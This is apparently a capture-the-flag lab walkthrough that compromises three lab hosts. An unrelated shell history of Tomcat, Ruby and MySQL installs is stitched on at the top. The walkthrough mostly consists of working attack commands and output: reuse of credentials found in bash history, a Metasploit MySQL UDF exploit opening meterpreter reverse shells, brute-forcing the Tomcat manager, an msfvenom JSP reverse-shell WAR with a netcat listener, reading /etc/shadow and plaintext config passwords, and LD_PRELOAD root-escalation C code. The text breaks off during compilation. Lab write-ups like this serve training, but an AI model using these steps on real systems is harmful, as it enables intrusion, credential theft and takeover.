    sudo chown -R tomcat webapps/ work/ temp/ logs/
    sudo update-java-alternatives -l
    sudo nano /etc/systemd/system/tomcat.service
    sudo systemctl daemon-reload
    sudo systemctl start tomcat
    sudo systemctl status tomcat
    sudo nano /opt/tomcat/conf/tomcat-users.xml
    sudo apt install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm5 libgdbm-dev
    git clone https://github.com/rbenv/rbenv.git ~/.rbenv
    echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
    echo 'eval "$(rbenv init -)"' >> ~/.bashrc
    source ~/.bashrc
    type rbenv
    git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
    rbenv install -l
    rbenv install 2.5.1
    rbenv global 2.5.1
    ruby -v
    echo "gem: --no-document" > ~/.gemrcgit pull
    gem install bundler
    gem env home
    gem install rails
    rbenv rehash
    rails -v
    rails -v
    cd ~/.rbenva
    cd ~/.rbenv
    git pullrbenv uninstall 2.1.3
    rbenv uninstall 2.1.3
    nano ~/.bashrc
    rm -rf `rbenv root`
    sudo -i
    apt-get install -y cmake build-essential libreadline6-dev libncurses5-dev
    groupadd mysql
    useradd -r -g mysql mysql
    mkdir -p /usr/local/src/mysql
    cd /usr/local/src/mysql
    wget http://cdn.mysql.com/Downloads/MySQL-5.6/mysql-5.6.10.tar.gz
    tar xvfz mysql-5.6.10.tar.gz
    cd mysql-5.6*
    mysql -h 192.251.63.4 -u root -pfArFLP29UySm4bZj
    rm CMakeCache.txt
    cmake \
    -DCMAKE_INSTALL_PREFIX=/usr/local/mysql-5.6.10 \
    -DWITH_INNOBASE_STORAGE_ENGINE=1\
    -DDEFAULT_CHARSET=utf8 \
    -DDEFAULT_COLLATION=utf8_general_ci \
    -DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
    -DSYSCONFDIR=/etc \
    .
    make
    make install
    ln -s /usr/local/mysql-5.6.10 /usr/local/mysql
    cd /usr/local/mysql
    cp ./support-files/my-default.cnf /etc/my.cnf
    echo "character-set-server = utf8" >> /etc/my.cnf
    echo "collation-server = utf8_general_ci" >> /etc/my.cnf
    echo "character-set-client-handshake = false" >> /etc/my.cnf
    chown -R root .
    chgrp -R mysql .
    chown -R mysql data
    scripts/mysql_install_db --user=mysql
    bin/mysqld_safe --user=mysql &
    bin/mysqladmin -u root password 'new-password'
    cp support-files/mysql.server /etc/init.d/mysql.server
    ln -s /etc/init.d/mysql.server /etc/rc2.d/S90mysql
    echo "export PATH=/usr/local/mysql/bin:$PATH" >> /etc/profile
    if /etc/mysql/my.cnf file exists, sudo /etc/mysql/my.cnf /etc/mysql/my.cnf.old
    cd /opt
    wget http://www.morphisms.net/~wkj/download/libaio.tbz
    bunzip2 libaio.tbz
    tar xf libaio.tar
    wget http://dev.mysql.com/get/Downloads/MySQL-5.5/mysql-5.5.8.tar.gz/from/http://mysql.llarian.net/
    tar xzf mysql-5.5.8.tar.gz
    cd mysql-5.5.8
    PATH=$PATH:/opt/bison/bin   #bison binary should be in your path
    /opt/cmake/bin/cmake . -DWITH_ARCHIVE_STORAGE_ENGINE=1 -DWITH_FEDERATED_STORAGE_ENGINE=1 \
    -DWITH_BLACKHOLE_STORAGE_ENGINE=1 -DMYSQL_DATADIR=/opt/mysql-5.5.8/data/ \
    -DCMAKE_INSTALL_PREFIX=/opt/mysql-5.5.8 -DCURSES_LIBRARY=/opt/ncurses/lib/libncurses.a \
    -DCURSES_INCLUDE_PATH=/opt/ncurses/include/ -DHAVE_LIBAIO_H=/opt/libaio/include/ \
    -DINSTALL_LAYOUT=STANDALONE -DENABLED_PROFILING=ON \
    -DMYSQL_MAINTAINER_MODE=OFF -DWITH_DEBUG=OFF \
    -DDEFAULT_CHARSET=utf8 -DENABLED_LOCAL_INFILE=TRUE -DWITH_ZLIB=bundled
    make
    make install
    root@INE:~/.msf4/loot# 
    root@INE:~/.msf4/loot# 
    
    
    
    




    The auditor user had accessed a MySQL database server using CLI and the credentials were supplied to the command which were thus stored in the { .bash_history } file, in plain-text.

    As if you remember, on server2.ine.local machine, MySQL server was running. And it's IP address was { 192.73.96.4 }! So we supposedly got the credentials to access the MySQL server.


    Let's try connecting to that MySQL server instance next.


    Connecting to the MySQL server using discovered credentials.


    Use the following command to connect to the MySQL server instance running on server2.ine.local:


    Command:

    mysql -h server2.ine.local -u root -pfArFLP29UySm4bZj

      

     


    That worked! We have received back a MySQL shell session where we can access (and even tamper with) all the data present on this database server!

    Let's list all the databases and see if anything interesting is present on this server:

    Command:

    show databases;

     

    root@INE:~# mysql -h server2.ine.local -u root -pfArFLP29UySm4bZj 
    Welcome to the MariaDB monitor.  Commands end with ; or \g.
    Your MySQL connection id is 46
    Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)
    
    Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    MySQL [(none)]> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | mysql              |
    | performance_schema |
    +--------------------+
    3 rows in set (0.000 sec)
    
    MySQL [(none)]> 
    
    
    
    


     


    All the three databases present are the default databases of MySQL server.

    So there's nothing of much value here. But there's one thing we can do - we can try to exploit this database server and probably get shell access on that machine.

    Let's try doing that next.




    Checking for MySQL exploit modules in the Metasploit Framework.


    Let's switch back to the Metasploit Framework tab in the terminal and look for the available MySQL exploit modules:


    Command:

    search mysql


     

     

    msf6 > search mysql
    
    Matching Modules
    ================
    
       #   Name                                                  Disclosure Date  Rank       Check  Description
       -   ----                                                  ---------------  ----       -----  -----------
       0   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
       1   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
       2   auxiliary/admin/mysql/mysql_enum                                       normal     No     MySQL Enumeration Module
       3   auxiliary/admin/mysql/mysql_sql                                        normal     No     MySQL SQL Generic Query
       4   auxiliary/admin/tikiwiki/tikidblib                    2006-11-01       normal     No     TikiWiki Information Disclosure
       5   auxiliary/analyze/crack_databases                                      normal     No     Password Cracker: Databases
       6   auxiliary/gather/joomla_weblinks_sqli                 2014-03-02       normal     Yes    Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
       20  exploit/multi/http/wp_db_backup_rce                   2019-04-24       excellent  Yes    WP Database Backup RCE
       21  exploit/multi/http/zpanel_information_disclosure_rce  2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE
       22  exploit/multi/mysql/mysql_udf_payload                 2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
       23  exploit/unix/webapp/kimai_sqli                        2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL Injection
       24  exploit/unix/webapp/wp_google_document_embedder_exec  2013-01-03       normal     Yes    WordPress Plugin Google Document Embedder Arbitrary File Disclosure
       25  exploit/windows/http/cayin_xpost_sql_rce              2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
       26  exploit/windows/mysql/mysql_mof                       2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
    
    
    Interact with a module by name or index. For example info 32, use 32 or use post/multi/manage/dbvis_add_db_admin
    
    
    msf6 > 
    

     

     

    Notice that there is a Metasploit module available to exploit the MySQL database server. i.e
    exploit/multi/mysql/mysql_udf_payload

    It's a MySQL UDF exploit which will create a User-Defined Function (UDF) and allow us to run arbitrary commands using it.



    Checking the available options for the MySQL UDF exploit module.


    Let's use the listed MySQL UDF module and check it's available options:



    Commands:

    use exploit/multi/mysql/mysql_udf_payload
    show options




     

    msf6 > use exploit/multi/mysql/mysql_udf_payload
    [*] Using configured payload linux/x86/meterpreter/reverse_tcp
    msf6 exploit(multi/mysql/mysql_udf_payload) > show options
    
    Module options (exploit/multi/mysql/mysql_udf_payload):
    
       Name              Current Setting   Required  Description
       ----              ---------------   --------  -----------
       FORCE_UDF_UPLOAD  true              no        Always attempt to install a sys_exec() mysql.function.
       PASSWORD          fArFLP29UySm4bZj  no        The password for the specified username
       RHOSTS            192.251.63.4      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT             3306              yes       The target port (TCP)
       SRVHOST           0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
       SRVPORT           8080              yes       The local port to listen on.
       SSL               false             no        Negotiate SSL for incoming connections
       SSLCert                             no        Path to a custom SSL certificate (default is randomly generated)
       URIPATH                             no        The URI to use for this exploit (default is random)
       USERNAME          root              no        The username to authenticate as
    
    
    Payload options (linux/x86/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  192.251.63.2     yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       1   Linux
    
    
    msf6 exploit(multi/mysql/mysql_udf_payload) >
    
    

     

     



    The following options are to be set:


    # FORCE_UDF_UPLOAD
    : Since we wish to execute commands on the remote server, we will set this option to true in order to install a sys_exec() MySQL function.


    # RHOSTS

    : It's the IP or URL of the target machine. In our case, it's server2.ine.local, where the MySQL server is running.


    #RPORT
    : It's the port of the MySQL service on the remote machine. Since MySQL service is running on the default port of 3306, nothing needs to be changed here.


    # USERNAME
    : It's the username to be used for the MySQL server login. It is already set to the value we want, that is, { root }.


    # PASSWORD
    : It's the password to be used for the MySQL server login. Since we retrieved the credentials for root user, we just need to set it to that value: { fArFLP29UySm4bZj }


    We also need to configure the payload options and the exploit target for this module:

     

     


    Here we need to set the following options:


    # LHOST
    : Set it to the IP address of the host machine (the Kali GUI instance), where we expect to receive back the meterpreter shell session, that is, { 192.73.96.2 }. But this IP might be different in your case, so make sure you set it properly. Otherwise the exploit won't work!


    # LPORT
    : Set it to a port where we expect to receive back the meterpreter shell session. Let's keep it at it's default value.



    For the Exploit target, which defaults to Windows (numbered as 0), we need to change it to Linux (numbered as 1).

    Now that we know of all the options and the values we need to fill in, let's do that next.



    Configuring the selected MySQL UDF exploit module and exploiting the target.


    Let's set all the options as discussed in the previous step:


    Commands:

    set FORCE_UDF_UPLOAD true
    set PASSWORD fArFLP29UySm4bZj
    set RHOSTS server2.ine.local
    set TARGET 1
    set LHOST 192.73.96.2
    exploit
    session -i 2

     

     

    msf6 exploit(multi/mysql/mysql_udf_payload) > set FORCE_UDF_UPLOAD true
    FORCE_UDF_UPLOAD => true
    msf6 exploit(multi/mysql/mysql_udf_payload) > set PASSWORD fArFLP29UySm4bZj
    PASSWORD => fArFLP29UySm4bZj
    msf6 exploit(multi/mysql/mysql_udf_payload) > set RHOSTS server2.ine.local
    RHOSTS => server2.ine.local
    msf6 exploit(multi/mysql/mysql_udf_payload) > set TARGET 1
    TARGET => 1
    msf6 exploit(multi/mysql/mysql_udf_payload) > set LHOST 192.251.63.2
    LHOST => 192.251.63.2
    msf6 exploit(multi/mysql/mysql_udf_payload) > exploit
    
    [*] Started reverse TCP handler on 192.251.63.2:4444 
    [*] 192.251.63.4:3306 - Checking target architecture...
    [*] 192.251.63.4:3306 - Checking for sys_exec()...
    [*] 192.251.63.4:3306 - Checking target architecture...
    [*] 192.251.63.4:3306 - Checking for MySQL plugin directory...
    [*] 192.251.63.4:3306 - Target arch (linux64) and target path both okay.
    [*] 192.251.63.4:3306 - Uploading lib_mysqludf_sys_64.so library to /usr/lib/mysql/plugin/FifUpUvM.so...
    [*] 192.251.63.4:3306 - Checking for sys_exec()...
    [*] 192.251.63.4:3306 - Using URL: http://0.0.0.0:8080/RfkDh8
    [*] 192.251.63.4:3306 - Local IP: http://10.1.0.8:8080/RfkDh8
    [*] 192.251.63.4:3306 - Client 192.251.63.4 (Wget/1.15 (linux-gnu)) requested /RfkDh8
    [*] 192.251.63.4:3306 - Sending payload to 192.251.63.4 (Wget/1.15 (linux-gnu))
    [*] Sending stage (976712 bytes) to 192.251.63.4
    [*] Meterpreter session 3 opened (192.251.63.2:4444 -> 192.251.63.4:39538) at 2022-01-08 20:13:40 +0530
    [-] 192.251.63.4:3306 - Exploit failed: Rex::StreamClosedError Stream #<Socket:0x00007f50acea8c98> is closed.
    [*] 192.251.63.4:3306 - Server stopped.
    [*] Exploit completed, but no session was created.
    msf6 exploit(multi/mysql/mysql_udf_payload) >
    
    

     

     


    Note: Again emphasising the point that the IP address for the
    LHOST must not be copied as is but instead it must be retrieved from the Kali instance that you receive. Otherwise things won't work as expected.

    Ignore the error received while exploiting the MySQL server.

    Let's check the available meterpreter sessions:


    Command:

    sessions


    msf6 exploit(multi/mysql/mysql_udf_payload) > sessions
    
    Active sessions
    ===============
    
      Id  Name  Type                   Information                                                                  Connection
      --  ----  ----                   -----------                                                                  ----------
      1         meterpreter x86/linux  root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local  192.251.63.2:4444 -> 192.251.63.4:39422 (192.251.63.4)
      2         meterpreter x86/linux  root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local  192.251.63.2:4444 -> 192.251.63.4:39494 (192.251.63.4)
      3         meterpreter x86/linux  root @ server2.ine.local (uid=0, gid=0, euid=0, egid=0) @ server2.ine.local  192.251.63.2:4444 -> 192.251.63.4:39538 (192.251.63.4)
    
    msf6 exploit(multi/mysql/mysql_udf_payload) >
    
    




    Notice that we received back a new meterpreter session. Let's access that shell (it's indexed as 2 in the above image):

    Command:

    sessions -i 2

    msf6 exploit(multi/mysql/mysql_udf_payload) > sessions -i 2
    [*] Starting interaction with 2...
    
    meterpreter > 
    




    And we have received back a meterpreter shell on the target running MySQL server! So the exploitation was successful.


    Reading the flag from the compromised MySQL server.


    Commands:

    ls /root
    cat /root/flag.txt



    meterpreter > ls /root
    Listing: /root
    ==============
    
    Mode              Size  Type  Last modified              Name
    ----              ----  ----  -------------              ----
    100644/rw-r--r--  3106  fil   2021-11-13 14:44:50 +0530  .bashrc
    100644/rw-r--r--  140   fil   2021-11-13 14:44:50 +0530  .profile
    100644/rw-r--r--  33    fil   2021-11-13 19:53:52 +0530  flag
    100755/rwxr-xr-x  189   fil   2021-11-13 19:53:52 +0530  start.sh
    
    meterpreter > cat /root/flag
    4c537c0dfd18bafdcd59f53c7015550e
    meterpreter > www.kumaratuljaiswal.in    www.hackingtruth.in 
    
    
    
    




    FLAG: 4c537c0dfd18bafdcd59f53c7015550e

     

     


     

     

     

     

    And with that, we have successfully exploited two machines and found one flag. Now, only one machine remains to be exploited, and that's located at server3.ine.local.



    Accessing the last target machine (located at server3.ine.local) in a web browser.


    We already know that on the last target machine: server3.ine.local, OpenSSH and Apache Tomcat services are running.



    Open Firefox browser and access the Tomcat server on port 8080:

    URL

    http://server3.ine.local:8080








    As you can notice, only one image is loaded on this page. Nothing else seems to be present on the home page.


    Enumerating all the files and directories on the Tomcat server using dirb tool.


    Let's use dirb to perform directory enumeration against the Tomcat server on server3.ine.local:

    Command:

    dirb http://server3.ine.local:8080


    root@INE:~# dirb http://server3.ine.local:8080
    
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
    
    START_TIME: Sat Jan  8 20:40:50 2022
    URL_BASE: http://server3.ine.local:8080/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612                                                          
    
    ---- Scanning URL: http://server3.ine.local:8080/ ----
    + http://server3.ine.local:8080/docs (CODE:302|SIZE:0)                                                                       
    + http://server3.ine.local:8080/examples (CODE:302|SIZE:0)                                                                   
    + http://server3.ine.local:8080/host-manager (CODE:302|SIZE:0)                                                               
    + http://server3.ine.local:8080/index.html (CODE:200|SIZE:262)                                                               
    + http://server3.ine.local:8080/manager (CODE:302|SIZE:0)                                                                    
                                                                                                                                 
    -----------------
    END_TIME: Sat Jan  8 20:40:56 2022
    DOWNLOADED: 4612 - FOUND: 5
    root@INE:~# 
    root@INE:~# fping http://server3.ine.local:8080/docs
    http://server3.ine.local:8080/docs: Name or service not known
    root@INE:~# 
    root@INE:~# 
    
    




    As you can notice in the output above, some interesting (and sensitive) paths have been discovered like { /manager }.

    Let's access the { /manager } in the browser:


    URL:

    http://server3.ine.local:8080/manager



    Black-box Penetration Testing




    Once the page loads up, it requests credentials to access the protected page. If you take a closer look at the dialog box, it says: "Tomcat Manager Application".

    That definitely seems interesting! Let's try to exploit this in the next steps.



    Using tomcat manager login Metasploit module.


    Switch back to the terminal running Metasploit Framework and use the tomcat manager login module, that is,
    auxiliary/scanner/http/tomcat_mgr_login:



    Commands:

    use auxiliary/scanner/http/tomcat_mgr_login
    show options




    msf6 > use auxiliary/scanner/http/tomcat_mgr_login
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
    
    Module options (auxiliary/scanner/http/tomcat_mgr_login):
    
       Name              Current Setting                                                                 Required  Description
       ----              ---------------                                                                 --------  -----------
       BLANK_PASSWORDS   false                                                                           no        Try blank passwords for all users
       BRUTEFORCE_SPEED  5                                                                               yes       How fast to bruteforce, from 0 to 5
       DB_ALL_CREDS      false                                                                           no        Try each user/password couple stored in the current database
       DB_ALL_PASS       false                                                                           no        Add all passwords in the current database to the list
       DB_ALL_USERS      false                                                                           no        Add all users in the current database to the list
       PASSWORD                                                                                          no        The HTTP password to specify for authentication
       PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt      no        File containing passwords, one per line
       Proxies                                                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                                                                                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT             8080                                                                            yes       The target port (TCP)
       SSL               false                                                                           no        Negotiate SSL/TLS for outgoing connections
       STOP_ON_SUCCESS   false                                                                           yes       Stop guessing when a credential works for a host
       TARGETURI         /manager/html                                                                   yes       URI for Manager login. Default is /manager/html
       THREADS           1                                                                               yes       The number of concurrent threads (max one per host)
       USERNAME                                                                                          no        The HTTP username to specify for authentication
       USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt  no        File containing users and passwords separated by space, one pair per line
       USER_AS_PASS      false                                                                           no        Try the username as the password for all users
       USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt     no        File containing users, one per line
       VERBOSE           true                                                                            yes       Whether to print output for all attempts
       VHOST                                                                                             no        HTTP server virtual host
    
    msf6 auxiliary(scanner/http/tomcat_mgr_login) >
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
    





    The show options command would list all the available configurable options for the selected module.


    As you can notice most of the options are set to sane defaults. The only option we need to set is { RHOSTS }. We will also turn off the  erbosity by setting the { VERBOSE } option to false.


    Use the following commands to set the RHOSTS to the target URL, that is, server.ine.local and turn off the verbosity:


    Commands:

    set RHOSTS server3.ine.local
    set VERBOSE false
    exploit


    msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS server3.ine.local
    RHOSTS => server3.ine.local
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE false
    VERBOSE => false
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
    
    [+] 192.251.63.5:8080 - Login Successful: tomcat:s3cret
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > 
    
    
    
    




    The last command { exploit } would, you guessed it, exploit the target Tomcat server.

    Notice that we got back the valid credentials to access the Tomcat manager application!




    Access Tomcat Manager Application interface.


    Let's access the { /manager } resource using the credentials recovered in the previous step:


    Username: tomcat Password: s3cret



    Black-box Penetration Testing


    Black-box Penetration Testing


    Black-box Penetration Testing



    And we have successfully logged in!

    Scroll down to the Deploy section. In the WAR file to deploy subsection, we will upload a malicious WAR file to compromise the target server.






    Generating a malicious WAR file and deploying it to the target server.


    We will use msfvenom command to generate a malicious WAR file in order to gain the shell session on the Tomcat server.

    Use the following commands (with) { LHOST } set to the IP of your Kali instance):



    Commands:

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.73.96.2 LPORT=443 -f war > shell.war
    file shell.war



    Here's the summary of the flags used with msfvenom:

    # -p
    : To specify a payload, which we have set to a JSP reverse TCP shell


    # LHOST
    : To specify the IP address/URL of the attacker machine, that's the Kali instance in our case


    # LPORT
    : The port on the attacker machine on which the listener must be started to receive back the shell session


    # -f
    : To specify the output format, which we have set to war





     

    root@INE:~# file shell.war
    shell.war: Zip archive data, at least v2.0 to extract
    root@INE:~# 
    

     



    The generated file is saved to the file named shell.war.

    Now we just need to upload it to the Tomcat server and deploy it:

    Switch to the browser window and then click on the Browse... button:


    Black-box Penetration Testing



    Now locate and select the shell.war file, After selecting the file, click on the Deploy button:



    Once the WAR file is deployed successfully, we should be able to see it in the application list:







    As you can see in the above screenshot, we have successfully deployed the shell.war application.


    Starting a netcat listener on the Kali GUI instance.


    Before we access the deployed shell application, we need to start the netcat listener to receive a reverse shell.

    Note: Make sure that the port on which the netcat listener is started is the same one we used in the payload (the
    LPORT (parameter) generated using the msfvenom command.

    So let's start a netcat listener on port 443:



    Command:

    nc -lvp 443


    root@INE:~# 
    root@INE:~# nc -lvp 443
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::443
    Ncat: Listening on 0.0.0.0:443
    




    Now access the shell application using the browser and we should have received a reverse shell on the netcat listener:

    Application Path

    http://server3.ine.local:8080/shell/


    Black-box Penetration Testing


    Black-box Penetration Testing




    We have received a shell and we are operating as the { tomcat }user.


    Spawning a TTY shell


    The current shell is not a standard shell as it lacks quite a lot of benefits that a TTY shell provides like reverse search, tab completion, etc. So let's upgrade the current shell session using Python:

    Command:

    python -c 'import pty;pty.spawn("/bin/bash");'




    Now we have a TTY shell.

    Reading the flag from the compromised Tomcat server.


    Commands:

    ls
    cat FLAG1


    root@INE:~# 
    root@INE:~# nc -lvp 443
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::443
    Ncat: Listening on 0.0.0.0:443
    
    Ncat: Connection from 192.251.63.5.
    Ncat: Connection from 192.251.63.5:44356.
    
    id
    uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
    
    python -c 'import pty;pty.spawn("/bin/bash");'
    tomcat@server3:~$ 
    
    tomcat@server3:~$ #www.kumaratuljaiswal.in
    #www.kumaratuljaiswal.in
    tomcat@server3:~$ 
    
    tomcat@server3:~$ ls
    ls
    FLAG1	 NOTICE		RUNNING.txt  conf  logs  webapps
    LICENSE  RELEASE-NOTES	bin	     lib   temp  work
    tomcat@server3:~$ 
    
    tomcat@server3:~$ cat FLAG1
    cat FLAG1
    EBCFE35ACC27E0EA91CF3A5AB600BABE
    tomcat@server3:~$ 
    
    
    



    FLAG: EBCFE35ACC27E0EA91CF3A5AB600BABE







    Checking sensitive system files like /etc/shadow.


    Since we are running as tomcat user, we definitely won't have the privileges to modify any sensitive data on the system. But let's see if we have the privilege to read the { /etc/shadow }file:


    Command:

    ls -l /etc/shadow




    tomcat@server3:~$ ls -l /etc/shadow
    -r--r--r-- 1 root shadow 856 Oct 18 2018 /etc/shadow
    tomcat@server3:~$ 
    
    




    Information: In the { /etc/shadow } file the password hashes for all the user's are present. And that's why it's one of the files that pentesters love!


    As you can notice from the above output, we have read permission on this file.

    Let's read this file:


    Command:

    cat /etc/shadow




    tomcat@server3:~$ cat /etc/shadow
    cat /etc/shadow
    root:*:17751:0:99999:7:::
    daemon:*:17751:0:99999:7:::
    bin:*:17751:0:99999:7:::
    sys:*:17751:0:99999:7:::
    sync:*:17751:0:99999:7:::
    games:*:17751:0:99999:7:::
    man:*:17751:0:99999:7:::
    lp:*:17751:0:99999:7:::
    mail:*:17751:0:99999:7:::
    news:*:17751:0:99999:7:::
    uucp:*:17751:0:99999:7:::
    proxy:*:17751:0:99999:7:::
    www-data:*:17751:0:99999:7:::
    backup:*:17751:0:99999:7:::
    list:*:17751:0:99999:7:::
    irc:*:17751:0:99999:7:::
    gnats:*:17751:0:99999:7:::
    nobody:*:17751:0:99999:7:::
    systemd-timesync:*:17751:0:99999:7:::
    systemd-network:*:17751:0:99999:7:::
    systemd-resolve:*:17751:0:99999:7:::
    systemd-bus-proxy:*:17751:0:99999:7:::
    _apt:*:17751:0:99999:7:::
    messagebus:*:17822:0:99999:7:::
    tomcat:!:17822:0:99999:7:::
    sshd:*:17822:0:99999:7:::
    robert:$6$D4O99Z5L$Q38CW.ym42GmIbjZRh8DA2rtLHxXgMj.ahVbrBrbWvuBXmP555cGuLG1hkQE1R0eQVX48Rs7yecdU7V96u5Tf0:17822::::::
    tomcat@server3:~$ 
    
    
    
    



     
    All users present in this file are the default accounts except for robert. At this point, we have 2 options:


    # Crack the hash and recover the password, or
    # Enumerate further to find other ways to gain root privilege


    Feel free to try both approaches. Since both are independent, you can even try your luck with both.

    Since cracking the hash is the least fun and no-brainer part, we will instead focus on enumerating the machine further to give you more insights on the areas to look at during a pentest.



     

    Exploring Tomcat configuration files for secrets.


    Let's explore Tomcat's conf folder where all the webserver configuration files are present:

    Commands:

    cd conf
    ls



    tomcat@server3:~$ ls
    ls
    FLAG1	 NOTICE		RUNNING.txt  conf  logs  webapps
    LICENSE  RELEASE-NOTES	bin	     lib   temp  work
    tomcat@server3:~$ cd conf
    cd conf
    tomcat@server3:~/conf$ ls
    ls
    Catalina	     conf.tar.gz	 server.xml	   web.xml
    catalina.policy      context.xml	 tomcat-users.xml
    catalina.properties  logging.properties  tomcat-users.xsd
    tomcat@server3:~/conf$ 
    
    




    Notice that there is a gzipped archive present in the conf folder. Let's extract it's contents and see if it contains anything interesting:

    Command:

    tar -xvf conf.tar.gz



         
         
    tomcat@server3:~/conf$ tar -xvf conf.tar.gz
    tar -xvf conf.tar.gz
    conf/
    conf/catalina.properties
    conf/context.xml
    conf/tomcat-users.xsd
    conf/web.xml
    conf/logging.properties
    conf/catalina.policy
    conf/server.xml
    conf/tomcat-users.xml
    conf/Catalina/
    conf/Catalina/localhost/
    tomcat@server3:~/conf$ 
    
         




    Notice that it's the complete backup of the Tomcat webserver's conf folder. Let's check the contents of { conf/tomcat-users.xml }
    file:

    Command:

    cat conf/tomcat-users.xml



    tomcat@server3:~/conf$ 
    
    tomcat@server3:~/conf$ cat conf/tomcat-users.xml
    cat conf/tomcat-users.xml
    <tomcat-users>
    	<user password="s3cret" roles="manager-gui,admin-gui" username="tomcat">
    	<user password="robert@1234567890!@#" roles="manager-gui,admin-gui" username="robert">
    </user></user></tomcat-users>
    tomcat@server3:~/conf$ 
    
    tomcat@server3:~/conf$ 
    
    
    
    
    





    Interestingly enough, we have discovered password for the user robert here: { robert@1234567890!@# }

    By the complexity of the password, you can probably guess that it would be quite difficult to break via bruteforce attempts!



    Login to the Tomcat server over SSH.


    If you remember on the Tomcat server machine, that is, server3.ine.local, OpenSSH service was also running. So we can try the credentials of user robert to access the machine over SSH.

    Alternatively, we can use the { su } command to switch to robert's account.

    Feel free to choose whatever option you like. We will use SSH to gain access to the target machine:


    Command:

    ssh robert@server3.ine.local

    Type yes and then enter the credentials for robert credentials.



    root@INE:~# ssh robert@server3.ine.local
    robert@server3.ine.local's password: 
    Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 5.4.0-81-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    Last login: Sat Jan  8 16:22:05 2022 from 192.251.63.2
    $ id
    uid=999(robert) gid=999(robert) groups=999(robert)
    $   
    




    And that should give us the access to robert's account.

    Command:

    id


    We can confirm that by using the { id }
    command.

    Now since we are logged in as robert, let's look for the flag and read the flag file:

    Commands:

    ls
    cat FLAG2



    $ ls
    FLAG2
    $ cat  FLAG2
    EC2986081E84BB845541D5CC0BEE13B3
    $ 
    $ www.kumaratuljaiswal.in
    
    
    
    



    Black-box Penetration Testing



    FLAG: EC2986081E84BB845541D5CC0BEE13B3

    Generating privilege escalation payload.



    Now that we have access to robert's account, let's see if we can elevate our privileges to root. For that, let's check the list of privileges of robert:

    Command:

    sudo -l







    Notice that the

    LD_PRELOAD

    environment variable is set in the above output. Also, robert user can execute
    ls

    command with
    sudo
    (as root) without requiring a password.


    By leveraging the
    LD_PRELOAD



    environment variable, we will force
    ls


    command to first load a custom shared library which provides shell access on the target machine.

    Add to that the fact that robert's account can use the
    ls


    command with
    sudo

    without any password. This will help us we will take advantage of this to run our malicious library and gain the root shell!


    We will be compiling the following code as a shared library and preloading it while running the
    ls



    command:
    Code:



    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
    }




    The above code is simple enough. It sets the user id and group id to 0 (that's for the root user!) and spawns a bash shell. And that would end up giving us a root shell on the target machine.

    The function is named { _init } and that's important, otherwise your exploit code won't work. The reason is that the { _init } function runs before any other user-defined code runs, to perform all the necessary initializations. So the name has to be the same, or else it won't work*.



    *Note: The above statement is not entirely true. { _init } function is obsolete and { __attribute__((constructor)) } is the preferred way for writing the code that runs to perform any initializations. You can read more on it here.




    Save the above code as
    shell.c



    Black-box Penetration Testing


    Now let's compile the code to generate a shared library,
    shared.so
    :

    Commands:

    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    file shell.so


                     
    $ vim shell.c
    $ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    shell.c: In function '_init':
